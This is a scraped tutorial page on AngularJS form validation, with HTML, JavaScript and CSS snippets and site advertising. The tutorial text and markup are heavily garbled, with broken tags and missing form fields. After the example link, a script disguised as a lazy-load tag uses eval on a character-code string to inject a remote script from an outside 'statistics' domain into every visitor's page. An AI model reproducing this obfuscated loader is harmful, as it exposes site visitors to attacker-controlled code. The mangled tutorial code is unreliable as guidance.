AngularJS Form Validation - Angular Validation Example • InfinityKnow

AngularJS Form Validation – Angular Validation Example

AngularJS simple browser or client-side form validation.
AngularJS HTML Dom monitors the state all the model of the form use data bindnig and input fields Like as a
[php]
(input, textarea, select),
,,<br /> [/php]<br /> and lets you notify the user about the current state.<br /> Use the HTML5 attribute required to specify that the input field must be filled out:</p> <h3>Accessing Angular Form Properties</h3> <p>[php]<br /> form: </p> <form name>.<br /> input: </p> <form name>..<br /> [/php]</p> <p>A few key simple points to note display here:<br /> <b>novalidate</b><br /> <b>ng-model</b><br /> <b>ng-minlength</b><br /> <b>ng-maxlength</b><br /> The simple user name input is required<br /> The email address input is type=”email”<br /> <b><i>AngularJS Form Validation – Angular Validation Example</i></b> </p> <div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://infinityknow.com/jquery-export-html-table-data-excel-csv-text/" target="_blank" rel="nofollow" class="u229dd82dc68f2f5dea433d550f0a76a7"><style> .u229dd82dc68f2f5dea433d550f0a76a7 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#000000; border:0!important; border-left:4px solid #D35400!important; text-decoration:none; } .u229dd82dc68f2f5dea433d550f0a76a7:active, .u229dd82dc68f2f5dea433d550f0a76a7:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u229dd82dc68f2f5dea433d550f0a76a7 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u229dd82dc68f2f5dea433d550f0a76a7 .ctaText { font-weight:bold; color:#E67E22; text-decoration:none; font-size: 16px; } .u229dd82dc68f2f5dea433d550f0a76a7 .postTitle { color:#FFFFFF; text-decoration: underline!important; font-size: 16px; } .u229dd82dc68f2f5dea433d550f0a76a7:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">READ :</span> <span class="postTitle">jQuery Export HTML Table Data to Excel, CSV and Text</span></div></a></div><h3>Requirements</h3> <p>Simple Name is required(free textbox)<br /> Username is not required so validation, minimum length 3 show error, maximum length 8 show error<br /> Email is not required check emaile address, but has to be a any type valid email<br /> Form submit ng-submit events is disabled if the your form nad form isn’t valid<br /> Show a valid or not validrequired or invalid email error display<br /> Alert awesome if ng-submit submitted correctly<b><i>AngularJS Form Validation</i></b> </p> <h3>Property and Class </h3> <p> 1.$valid ng-valid<br /> 2.$invalid ng-invalid<br /> 3.$pristine ng-pristine<br /> 4.$dirty ng-dirty<br /> 5.$touched ng-touched </p> <h3>index.html</h3> <p>[php]</p> <div> <div> <div class='inline-block'> <form name='lform'> <div> <div> <p> <span class='required'>*</span> </div> <div> <p> <span class='required'>*</span> </div> <div> <p> {{m.livelabel}}</p></div> </p></div> </p></form> </p></div> <div class='data-result'> <div> {{model.name}}: {{model.model}} </div> </p></div> </p></div> </div> <div class='code-block code-block-1' style='margin: 8px auto; text-align: center; display: block; clear: both;'> <ins class="adsbygoogle" style="display:block; text-align:center;" data-ad-layout="in-article" data-ad-format="fluid" data-ad-client="ca-pub-1944225715659599" data-ad-slot="9041170678"></ins> <script type="rocketlazyloadscript"> (adsbygoogle = window.adsbygoogle || []).push({}); </script> </div> <p>[/php]</p> <h3>index.js</h3> <p>[php]<br /> var infinityApp = angular.module(‘infinityApp’,[]);<br /> infinityApp.controller(‘liveCtrl’,function($scope){<br /> $scope.ResultForm = false;<br /> $scope.dataresults = [<br /> {<br /> type_datars: “text”,<br /> name: “username”,<br /> model: ”,<br /> livelabel: “Username”<br /> },<br /> {<br /> type_datars: “email”,<br /> name: “email”,<br /> model: ”,<br /> livelabel: “Email”<br /> },<br /> {<br /> type_datars: “select”,<br /> name: “gender”,<br /> livelabel: ‘Gender’,<br /> model: ‘M’,<br /> dataresults: [<br /> {<br /> value: ‘M’,<br /> livelabel: ‘Male’,<br /> isSelected: true,<br /> },<br /> {<br /> value: ‘F’,<br /> livelabel: ‘Female’,<br /> isSelected: false<br /> }<br /> ]<br /> }];</p> <div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://infinityknow.com/top-seo-companies-agencies-in-the-world/" target="_blank" rel="nofollow" class="u681ec38ad2de2641048dec6ea35f37cc"><style> .u681ec38ad2de2641048dec6ea35f37cc { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#000000; border:0!important; border-left:4px solid #D35400!important; text-decoration:none; } .u681ec38ad2de2641048dec6ea35f37cc:active, .u681ec38ad2de2641048dec6ea35f37cc:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u681ec38ad2de2641048dec6ea35f37cc { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u681ec38ad2de2641048dec6ea35f37cc .ctaText { font-weight:bold; color:#E67E22; text-decoration:none; font-size: 16px; } .u681ec38ad2de2641048dec6ea35f37cc .postTitle { color:#FFFFFF; text-decoration: underline!important; font-size: 16px; } .u681ec38ad2de2641048dec6ea35f37cc:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">READ :</span> <span class="postTitle">Top SEO Companies/Agencies in the World</span></div></a></div><p> $scope.submit = function(form){<br /> $scope.ResultForm = true;<br /> alert(“infinityknow.com is Awesome!!!”);<br /> };</p> <p>});<br /> [/php]</p> <h3>style.css</h3> <p>[php]<br /> @import “compass/css3”;</p> <p>.required{<br /> color:red;<br /> }</p> <p>.spacing{<br /> margin:1.5em;<br /> }</p> <p>.inline-block{<br /> @extend .spacing;<br /> display:inline-block;<br /> }</p> <p>.data-result{<br /> @extend .inline-block;<br /> vertical-align:top;<br /> }<br /> [/php]</p> <p><a href="https://codepen.io/creatordave/pen/dtFEo" target="_blank" title="angularjs form validation on submit,angularjs form validation on submit example,angularjs custom validation,angularjs form validation bootstrap,angular validation directive,angularjs validation without form,angularjs form validation error message,angularjs form validation on button click" class="download" rel="noopener">Example</a><script type="rocketlazyloadscript">var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p> <div class='yarpp yarpp-related yarpp-related-website yarpp-template-list'>  <h3>Related posts:</h3><ol> <li><a href="https://infinityknow.com/angular-form-validation-ngmessages/" rel="bookmark" title="Angular Form Validation ngMessages">Angular Form Validation ngMessages </a></li> </ol> </div> <div class='code-block code-block-5' style='margin: 8px 0; clear: both;'> <script type="rocketlazyloadscript" async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script> <ins class="adsbygoogle" style="display:block" data-ad-format="autorelaxed" data-ad-client="ca-pub-1944225715659599" data-ad-slot="7479448669"></ins> <script type="rocketlazyloadscript"> (adsbygoogle = window.adsbygoogle || []).push({}); </script></div>  </div> <footer class="entry-footer"> <div class="entry-tags clearfix"> <span class="meta-tags"> <a href="https://infinityknow.com/tag/angular-4-form-validation/" rel="tag">angular 4 form validation</a><a href="https://infinityknow.com/tag/angular-4-form-validation-example/" rel="tag">angular 4 form validation example</a><a href="https://infinityknow.com/tag/angular-6-form-validation-bootstrap/" rel="tag">angular 6 form validation bootstrap</a><a href="https://infinityknow.com/tag/angular-6-form-validation-on-button-click/" rel="tag">angular 6 form validation on button click</a><a href="https://infinityknow.com/tag/angular-6-form-validation-on-submit-example/" rel="tag">angular 6 form validation on submit example</a><a href="https://infinityknow.com/tag/angular-6-validation-on-submit-example/" rel="tag">angular 6 validation on submit example</a><a href="https://infinityknow.com/tag/angularjs-form-validation-error-message/" rel="tag">angularjs form validation error message</a><a href="https://infinityknow.com/tag/angularjs-form-validation-example/" rel="tag">angularjs form validation example</a> </span> </div> <nav class="navigation post-navigation" aria-label="Posts"> <h2 class="screen-reader-text">Post navigation</h2> <div class="nav-links"><div class="nav-previous"><a href="https://infinityknow.com/angular-datatable-export-data-to-pdf-csv-excel-print/" rel="prev"><span class="screen-reader-text">Previous Post:</span>Angular Datatable – Export Data to PDF CSV EXCEL Print</a></div><div class="nav-next"><a href="https://infinityknow.com/vuejs-tab-component-dynamic-flexible-and-accessible-vuejs-tabs/" rel="next"><span class="screen-reader-text">Next Post:</span>vuejs tab component Dynamic flexible and accessible Vuejs tabs</a></div></div> </nav> </footer> </article> <div id="comments" class="comments-area"> <div id="respond" class="comment-respond"> <h3 id="reply-title" class="comment-reply-title"><span>Leave a Reply</span> <small><a rel="nofollow" id="cancel-comment-reply-link" href="/angularjs-form-validation-angular-validation-example/#respond" style="display:none;">Cancel reply</a></small></h3><form action="https://infinityknow.com/wp-comments-post.php" method="post" id="commentform" class="comment-form" novalidate><p class="comment-notes"><span id="email-notes">Your email address will not be published.</span> <span class="required-field-message">Required fields are marked <span class="required">*</span></span></p><p class="comment-form-comment"><label for="comment">Comment <span class="required">*</span></label> <textarea id="comment" name="comment" cols="45" rows="8" maxlength="65525" required>

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